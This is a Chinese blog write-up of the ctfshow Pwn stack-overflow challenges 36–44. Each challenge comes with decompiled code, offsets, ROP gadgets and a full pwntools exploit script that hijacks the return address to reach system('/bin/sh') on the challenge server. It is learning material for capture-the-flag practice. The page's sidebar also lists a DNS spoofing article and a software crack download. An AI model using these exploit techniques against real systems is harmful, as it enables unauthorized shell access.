习题爱抚瘦(ctfshow)胖(Pwn)栈溢出36-44

【企业知识助手·Agent 实战】如何运营 Agent 安全:从 eBPF 运行时检测、分级告警到事件响应与复盘的深度实战 核心原理:Agent 安全运营的本质,是把内核、控制面、应用与决策四层信号按 run_id 关联成一条可解释的行为链,让"合法能力被错误使用"在运行时变得可见。关键结论:检测与阻断要共享同一套内核事件语义;遏制的每一级都必须可审计、可回滚;吊销凭据与隔离网络必须同时执行,这是 2026 年真实事件换来的硬规则。落地重点:先观测后阻断,规则进 CI,告警分级用同一把尺子,kill switch 按季度演练,复盘必须回灌成新规则与新基线。 阅读详情

前言

I know a girl who is really beautiful. Every time I encounter a difficult problem, I will turn to her for advice. She always gives me the answers I need. Although I have to analyze them on my own, she still helps me solve my problems. I truly love her, and she is very patient when assisting me. She has a really lovely name —— IDA PRO.

我认识一个女孩,她长得非常漂亮。每次当我遇到难题的时候,我都会去请教她,她每次都会为我提供我想要的答案虽然这需要我自己分析,但是她仍然会帮我解决我的难题。我真的很爱她,她也很耐心的帮我。她有一个很动听的名字——IDA PRO

PWN36

存在后门函数,如何利用?

到手第一件事不管三七二十一,上来就是file checksec

32位程序,关键保护都没开

将程序丢到女神(IDA)中看一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow(&argc);
  return 0;
}

Main函数中调用了ctfshow函数,跟进一下

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF
​
  return gets(s);
}

gets没有边界检测,只要你想就可以无限制输入内容 直到遇到换行符('\n')为止

所以很明显的溢出点

再看看旁边有一个get_flag函数

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]
​
  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

打印flag。

思路:通过ctfshow函数溢出到get_flag函数这里就完事

偏移量 0x28+4 ctfshow函数中

get_flag函数地址:0x08048586

写脚本开搂

from pwn import *
r = remote('pwn.challenge.ctf.show',28288)
​
padding = 0x28+4
get_flag=0x08048586
payload = padding * b'A' + p32(get_flag)
r.sendline(payload)
r.interactive()

PWN37

32位的 system(“/bin/sh”) 后门函数给你

ret2text

ctfshow函数

ssize_t ctfshow()
{
  char buf[14]; // [esp+6h] [ebp-12h] BYREF
​
  return read(0, buf, 0x32u);
}

后门函数

int backdoor()
{
  system("/bin/sh");
  return 0;
}

通过ctfshow上溢出劫持ret跳到backdoor上

偏移量:0x12+4

后门地址:0x8048521

脚本

from pwn import *
r = remote('pwn.challenge.ctf.show',28166)
​
padding = 0x12+4
get_flag=0x8048521
payload = padding * b'A' + p32(get_flag)
r.sendline(payload)
r.interactive()

PWN38

64位的 system(“/bin/sh”) 后门函数给你

注意这里的64位,需要考虑到堆栈平衡

本关主要是常规的ret2text,唯一一点就是需要跳过push rbp

本关脚本如下:

from pwn import *
r = remote('pwn.challenge.ctf.show',28293)
elf = ELF('./pwn')
​
padding = 0xA + 8
door = 0x400658
payload = b'a' * padding + p64(door)
r.sendline(payload)
r.interactive()

PWN39

32位的 system(); "/bin/sh"

这里需要用到传参的方式将system和binsh组合在一起

32位传参方式 函数1 函数2 参数1 参数2

system函数地址:0x080483A0

binsh参数地址:0x08048750

脚本如下:

from pwn import *
r = remote('pwn.challenge.ctf.show',28199)
elf = ELF('./pwn')
​
padding = 0x12+4
payload = b'a' * padding + p32(0x080483A0) + p32(0) +p32(0x08048750)
r.sendline(payload)
r.interactive()

PWN40

64位的 system(); "/bin/sh"

X86传参是直接使用栈来传递参数,而X64则是使用寄存器传递参数,后7个参数使用栈来传递

所以先ROPgadget --binary ./test --only "pop|ret" | grep "rdi" 找到rdi寄存器和 ret

传参顺序为:寄存器 参数 返回地址 函数 乌班图18.04以下的没有返回地址

脚本如下:

from pwn import *
r = remote('pwn.challenge.ctf.show',28151)
elf = ELF('./pwn')
​
padding = 0xA+8
rdi_add = 0x00000000004007e3
bin_sh = 0x400808
sys_add = 0x400520
ret_add = 0x00000000004004fe
payload = b'a' * padding +p64(rdi_add) +p64(bin_sh) +p64(ret_add)+p64(sys_add)
r.sendline(payload)
r.interactive()

PWN41

32位system,没有binsh怎么搞?

在userful函数中有print(sh) 没有binsh有sh也差不多(具体可以自己敲一下sh看看是不是有shell)

溢出点:ctfshow函数-buf字符串

偏移量:0x12+4

system函数地址:在ida左侧Funcktion name中找到_system 它的Start地址就是

sh字符串地址:找到sh字符串直接双击进入即可发现

注意p32的传参顺序!

p32(函数1)+p32(函数2)+p32(参数1)+p32(参数2)

所以需要一个占位符

脚本如下:

from pwn import *
r=remote('pwn.challenge.ctf.show',28167)
padding = 0x12+4
sys_add = 0x080483D0
sh = 0x080487BA
ad = 123456789 #这里可以不写,直接弄成p32(0)也没问题,只要占住位置就好
payload = b'a' * padding + p32(sys_add) + p32(ad) +p32(sh)
r.sendline(payload)
r.interactive()

PWN42

64位system,没有binsh怎么搞?

照比32多了两个步骤

寻找ret和rdi的地址

ROPgadget --binary pwn --only "pop|ret"          
Gadgets information
============================================================
0x000000000040083c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400840 : pop r14 ; pop r15 ; ret
0x0000000000400842 : pop r15 ; ret
0x000000000040083b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400608 : pop rbp ; ret
0x0000000000400843 : pop rdi ; ret <-----
0x0000000000400841 : pop rsi ; pop r15 ; ret
0x000000000040083d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040053e : ret <-----
0x0000000000400542 : ret 0x201a
​
Unique gadgets found: 12
​

64位传参

p64(寄存器) + p64(参数)+p64(返回ret)+p64(函数)

脚本如下:

from pwn import *
r=remote('pwn.challenge.ctf.show',28278)
padding = 0xA+8
sys_add = 0x400560
sh = 0x400872
rdi_add = 0x0000000000400843
ret_add = 0x000000000040053e
​
payload = b'a' * padding + p64(rdi_add) +p64(sh) +p64(ret_add) +p64(sys_add)
r.sendline(payload)
r.interactive()

PWN43

有system没有binsh 上面方法也不好使

通过pwndbg调试,vmmap 发现0x804b000 0x804c000这一段空间是有写权限的

system函数地址:08048450

偏移 0x6c+4

通过查找发现在bss段0804B060处有buf2 可以写入

思路:

先溢出将/bin/sh写入到buf2,在将buf2内容与system函数结合就组成了后门函数

from pwn import *
r = remote('pwn.challenge.ctf.show',28306)
​
padding = 0x6c+4
gets_add = 0x08048420
system_add = 0x08048450
buf2_add = 0x0804B060
payload = b'a'*padding + p32(gets_add) + p32(system_add) + p32(buf2_add) + p32(buf2_add)
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()

PWN44

与上面思路一样,需要注意传参顺序以及寻找寄存器和ret返回

from pwn import *
r=remote('pwn.challenge.ctf.show',28109)
​
padding = 0xa+8
gets_add = 0x400530
buf2_add = 0x602080
sys_add = 0x400520
rdi_add = 0x00000000004007f3
ret_add = 0x00000000004004fe
​
payload = b'a' * padding+p64(rdi_add)+p64(buf2_add)+p64(ret_add)+p64(gets_add)+p64(rdi_add)+p64(buf2_add)+p64(ret_add)+ p64(sys_add)
r.sendline(payload)
r.sendline("/bin/sh")
r.interactive()

寻找攻击链:ROPgadget --binary pwn

J1939协议实用指南与J1939数据记录方案 “没错,这是一份SAE J1939简单、实用指南。”—虹科 **开篇:**在这篇介绍中,我们介绍了J1939协议的基本知识,其中包括PGN和SPN。因为这是一篇偏向应用的简介,所以您还将会学习到如何通过DBC文件解码J1939数据、如何记录J1939、典型的应用案例和实用技巧。下面,来了解下这份简单易懂的J1939介绍吧~ 什么是J1939? 简而言之,SAE J1939其实是一套标准,重型车辆ECU间就是按照这套标准在CAN总线上进行通信的。当今大多数车辆都通过CAN(Controller Area Ne 阅读详情

相关推荐

国产HDMI2.0芯片GSV2011怎么选?手把手教你用它设计音视频采集卡(附FPGA/海思对接指南)

本文详细解析国产HDMI2.0芯片GSV2011在音视频采集卡设计中的应用,涵盖芯片选型、硬件设计要点及与FPGA/海思平台的对接指南。GSV2011凭借4K@60Hz支持、音频提取嵌入功能和高集成度,成为音视频设备的核心选择,助力开发者快速实现高性能采集卡设计。

weixin_30181209的博客 331

直付通申请资质安全吗?靠谱吗?

风控规则的运行效果要定期复盘,拦截记录、误伤情况、处理时效都要看,规则持续优化,防护效果才能保持,动态调整的风控,比一成不变的规则更可靠,安全保障更到位,动态调整的风控更可靠,更有效,风控常复盘,规则常优化,防护更有效。资金记录的完整保存很重要,流水明细定期归档,账目随时可查,配合日常核对,资金安全尽在掌握,完善的记录习惯,既是风控要求,也是管理规范,长期坚持受益良多,更放心,流水留存好,随时可对账,管理更规范。方向更清晰,资质看清楚,边界问明白,判断更准确。更稳固,职责边界清,配合更默契,安全更有底。

qq_15110143的博客 346

Android开发者必看:5分钟搞定MQTT客户端连接EMQX服务器(附完整代码)

本文为Android开发者提供了一份快速实现MQTT客户端连接EMQX服务器的实战指南。通过引入Eclipse Paho SDK,详细讲解了从项目配置、权限申请到核心连接、主题订阅与消息发布的完整流程,并附有即拿即用的Kotlin代码,帮助开发者在物联网应用中高效集成轻量级实时通信功能。

weixin_29228781的博客 271

亚远景 - 无方向盘 L4 车辆批量认证,ASPICE 过程证据成制造商安全举证底座

亚远景分析取消驾驶员兜底后安全责任向制造商集中的趋势,说明规范研发过程、功能安全验证与全生命周期管理为何成为批量认证的举证底座,为自动驾驶企业应对准入合规提供过程建设参考。

yayuanjingkeji的博客 195

使用C++实现DNS欺骗攻击

其中,domain_name表示需要欺骗的域名,dns_server_ip表示实际DNS服务器的IP地址,fake_ip表示需要重定向到的IP地址。在DNS查询过程中,当客户端向DNS服务器请求解析某个域名时,DNS服务器会返回该域名对应的IP地址。DNS劫持是一种常见的网络攻击方式,通过篡改DNS响应数据,使得用户访问的网站被重定向到攻击者指定的恶意站点。我们使用C++编写一个简单的DNS欺骗程序,使得当客户端请求解析特定的域名时,我们可以将其重定向到指定的IP地址。使用C++实现DNS欺骗攻击。

TechGlide的博客 411

使用Matlab实现海洋监视雷达检测仿真

海洋监视雷达是一项重要的海洋探测技术,可以用于海上船只、飞机、潜艇等目标的探测和监视,具有广泛的应用价值。本篇文章将介绍如何使用Matlab进行海洋监视雷达的检测仿真,并提供相应的源代码。本篇文章提供了利用Matlab进行海洋监视雷达检测仿真的基本思路和代码实现。读者可以根据自己的需求进行修改和优化,以适应不同的应用场景。使用Matlab实现海洋监视雷达检测仿真。

2301_78484069的博客 448

‌7-Zip加密压缩包完整教程:AES-256加密、加密文件名与安全分享指南(2026最新)‌

‌给别人发压缩包,只设密码就够了吗?本文用 2026 最新版 7-Zip 讲透 AES-256 加密原理与实操,手把手教你设置密码、勾选加密文件名、分卷加密与自解压包,并给出强密码标准、密码传递方式和跨设备兼容建议,让敏感资料真正只对指定的人开放。

Helix250的博客 317

Nvidia Orin Driveos Camera 介绍及调试详解

自动驾驶-nvidia orin driveos Camera 驱动详解及调试

u011803281的博客 2991

Elasticsearch ingest pipeline 被禁用之后:性能代价、安全治理与数据入库时间的四种替代方案

生产环境为什么禁用 Elasticsearch ingest pipeline?写入路径同步执行的开销、Painless 脚本的安全治理是根因;而 _ingest.timestamp 出不了 pipeline,ES 8/9 也没有原生入库时间字段。本文给出四种替代方案:采集端注入时间戳、bulk 响应后回写、refresh=wait_for 近似、最小 set pipeline 白名单,附选型对比与踩坑清单。

Sayai的专栏 341

Python3实现基于ARIMA模型来预测茅台股票价格趋势

ARIMA(Autoregressive Integrated Moving Average)模型是一种广泛使用的时间序列分析方法,它可以用于对未来的数据进行预测。ARIMA模型由自回归模型(AR模型)、差分整合模型(I模型)和移动平均模型(MA模型)组成,因此也被称为ARIMA(p,d,q)模型。其中,p表示自回归阶数,d表示差分阶数,q表示移动平均阶数。具体来说,ARIMA模型可以通过以下步骤进行建模:数据预处理:对时间序列进行平稳性检验,如果不满足平稳性,则进行差分操作。

m0_64336780的博客 2万+

深度学习实战:基于YOLOv5/v8/v10的快递暴力分拣检测系统(完整版)

在电商物流高速发展的今天,快递包裹日均处理量已突破亿件级别。然而,快递分拣过程中的暴力抛扔行为不仅造成包裹损坏,更带来巨大的经济损失。据统计,每年因暴力分拣导致的快递破损投诉占总投诉量的30%以上。传统的人工监控方式存在疲劳、疏漏等问题,因此开发一套智能化的快递暴力分拣检测系统具有重要的现实意义。

YOLO 274

终端安全平台 V2610 更新复盘:跨平台适配、AI 工具审计能力解析

近期对终端安全管理平台 V2610 版本进行了部署测试,本次版本迭代重点围绕跨平台兼容、AI 工具行为审计、数据防护模块做了调整。本文记录本次新版本的技术改动、功能逻辑、测试过程中遇到的适配问题,供内网安全、终端运维同行参考交流。说明:仅为个人技术测试复盘,不做产品推荐,相关策略落地请结合单位自身安全规范评估。V2610 版本整体偏向解决混合架构内网下的新风险,重点补齐 AI 应用审计、多系统统一管控短板。优势:异构终端管理能力提升,审计链路更完整;

qq_43457377的博客 194

抖音小程序:解决获取手机号报错 getPhoneNumber:fail auth deny,登录注册时需要获取用户手机号,getPhoneNumber一直提示错误(Uniapp抖音小程序报错也能解决)

抖音字节小程序获取手机号报错getPhoneNumber:fail auth deny,抖音 小程序 获取手机号 报错 getPhoneNumber:fail auth ,抖音小程序获取手机号始终返回拒绝,抖音小程序获取手机号,已经过了试运营期但依旧报错如何解决,调用 tt.getPhoneNumber 接口报错,登录注册时需要获取用户手机号,getPhoneNumber一直提示getPhoneNumber:fail auth deny,此能力仅支持小程序通过试运营期后可用,默认获取权限,无需申请;unia

✅ 精选推荐文章 4304

城市生命线工程多场景应用守护城市运行安全

城市生命线工程以地下管网、桥梁、燃气、供水等基础设施为对象,通过物联网传感、数据监测与智能分析,实现对城市 "血管" 和 "神经" 的实时守护。本文以科普视角,梳理生命线工程的多场景应用、技术逻辑与落地价值,帮助读者理解城市安全从 "被动抢险" 走向 "主动预防" 的转变过程。

hnsoyon的博客 190

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

Android 开发入门实践(二):Kotlin 空安全,从可空类型到安全访问

延续 NewsApp 项目中的新闻标题练习,记录 Kotlin 安全调用。

Easyhood的博客 276

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

DeepAgents框架构建一个带有严格安全护栏的本地 Shell 执行环境。

核心亮点在于:通过精心设计的 System Prompt(系统提示词)强制约束大模型的行为,防止其通过操作系统底层的 Shell 命令绕过框架的虚拟沙箱,从而确保本地物理磁盘的绝对安全。DeepAgents 框架接入 DeepSeek 模型并构建一个带有严格安全护栏的本地 Shell 执行环境。

qq_42092076的博客 66

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

AI Agent 的安全风险,正在从 Prompt 扩展到运行环境

从 Cursor 恶意扩展事件看 AI Agent 运行环境的安全风险与权限边界。

2501_92842654的博客 472

Claude API新版本重大变更与安全升级指南

Anthropic发布ClaudeAPI新版本,首次更新核心版本控制架构,引入多项破坏性变更。新版本移除采样参数(temperature/top_p/top_k),禁止Assistant文档块与用户文本引用,重命名管理与分析字段,并强制使用anthropic-version标头。官方SDK主版本同步升级至2.0.0及以上,身份验证改为Authorization: Bearer。开发者需锁定依赖、扫描代码、重构消息结构、双版本测试,以避免生产环境400错误,确保平滑迁移。

阡陌数智,专注大模型网关与 LLM 工程落地 328

从 NEAR Intents 事件看 NEAR 智能合约安全

2026年9月29日至10月1日,攻击者利用NEAR Intents存款退款处理中的校验缺陷,通过填充代币和恶意receiver合约触发超额退款请求,使回调失败后内部余额未被撤销,造成缺乏资产支持的可花费余额。攻击者据此从BNB Chain上的HOT Bridge金库七笔提现共转出3,865,021 USDT。项目方于10月2日部署修复、10月7日移除存款通知功能,并于同日宣布资金全额归还,后续事后报告确认受影响用户已获补偿。

BlockSec的博客 247

生物冰箱智能锁是如何通过权限记录全程开门记录筑起样本安全的第一道防线的?

未来,面对新的挑战和需求,生物冰箱智能锁必将持续创新,成为保障样本安全不可或缺的智能守护者。全程开门记录开门时间、操作人员及异常情况均被实时记录并上传至管理平台,通过防止非法开门和异常操作,确保样本在存储过程中的稳定性和完整性,减少样本损坏和丢失的风险,提升科研数据的可靠性,便于后续的数据追踪和安全审计,智能锁结合权限管理和全程记录功能,为生物样本管理提供坚实的安全保障,促进科研工作的规范化和标准化,保障科研成果的真实性和有效性。

berer8的博客 94

运营商云改数转安全落地实践|融合 4A 与数据安全服务案例

本实践依托保旺达在运营商行业长期沉淀的业务 know-how,以融合 4A 为核心抓手,联动数据安全、AI 安全管控能力,以平台建设 + 专项治理 + 持续运营的模式,匹配运营商云改数转转型节奏,解决异构云网环境下身份权限治理、敏感数据安全、新型 AI 应用风险等核心难题,为同类型省级运营商安全体系建设提供可落地参考。

KKKlucifer的博客 72

终端供应链安全:应用白名单与软件正版化检测落地|终端安全治理实践

终端供应链攻击日益严峻,攻击者通过非正规渠道投毒、盗版软件植入恶意载荷,绕过传统防护。企业需从“被动查杀”转向“全生命周期治理”,构建可识别、可管控、可审计的软件管理体系。核心举措包括:建立可信软件库、推行应用白名单与审批机制、开展全网软件资产盘点与正版化检测、强化脚本与进程管控,并通过差异化策略与持续运营实现安全与业务平衡。唯有技术与制度协同,方能封堵供应链攻击的“最后一公里”。

2401_86491085的博客 454

安全生产数字化:亘川智城系统五大功能域全流程解析

系统的业务对象覆盖安全生产监管人员、属地安监专员、企业安全负责人、安监执法人员、应急管理专员、隐患派单专员、整改责任人、数据分析专员等多个角色,各角色按职责与状态获得对应操作权限,实现责任到岗、过程留痕、闭环管理。整改台账覆盖待接收、待制定、整改中、待自查、待申请、待验收、已通过、未通过全状态,配套整改完成率、平均整改时长、逾期整改率统计图表。归集法律法规、安全常识、应急技能、事故案例等素材,按类型与行业场景打标签分类,支持权限化发布、浏览与下载量统计,并随政策更新迭代版本。,所有流程资料永久归档留存。

weixin_67440240的博客 81

Day33 XD安全学习笔记--JavaEE应用&SQL 预编译&Filter过滤器&Listener监听器&访问控制

本文介绍了SQL预编译与Filter过滤器、Listener监听器的应用。SQL预编译有效防止注入攻击,相比拼接写法更安全。Filter用于拦截请求与响应,实现权限控制、敏感词过滤等功能,具备初始化、过滤、销毁生命周期;如XssFilter拦截非法参数,AdminFilter通过Cookie验证权限。Listener监听域对象的创建、销毁及属性变化,如Session的创建与销毁,实现系统状态管理。三者协同提升Web应用的安全性与可维护性。

一支蜉蝣的博客 220

提示词工程全景指南:从基本原则到自动化与安全防御

用程序化的方式完成提示词的生成、评估、优化与上线,把"人工反复试"变成"系统自动迭代"。提示词自动化的本质是把提示词当作代码资产来管理:有版本、有测试、有灰度、有回滚。未来它会与模型微调、检索增强、Agent 编排进一步融合,边界逐渐模糊。攻击者通过精心构造的输入,诱导模型偏离既定职责。信息泄露:套取系统提示词、内部知识库内容、其他用户数据。行为越界:让模型执行被禁止的操作,如调用高危工具、输出违规内容。功能滥用:把模型当作免费算力或跳板,用于批量生成垃圾内容、绕过业务限制。

简单的记录一下 347

[黎阳之光] 地铁站台安全视频孪生实战教程:越线检测、客流预警与应急联动一次讲透

站台是地铁安全风险最集中的地方:乘客越过黄线、客流瞬间涌入、扶梯口拥堵、突发晕倒,每一类事件留给处置的时间都以秒计。本文讲一套站台安全视频孪生实战方案——用视频分析实时发现风险,用孪生画面定位事件位置,再自动联动广播、屏蔽门与应急流程。内容是简易模型与简化版方案,给出可复用的检测逻辑、阈值与联动配置;真实车站的安全联动涉及信号、屏蔽门与消防系统的专业接口与评审,完整项目方案请联系黎阳之光公司。

m0_75019831的博客 153
上一篇: 新手简单入门逆向-消除对汇编的恐惧
下一篇: Linux操作系统安全加固
阿斯顿法国红酒快
博客等级 码龄5年 154粉丝 23原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值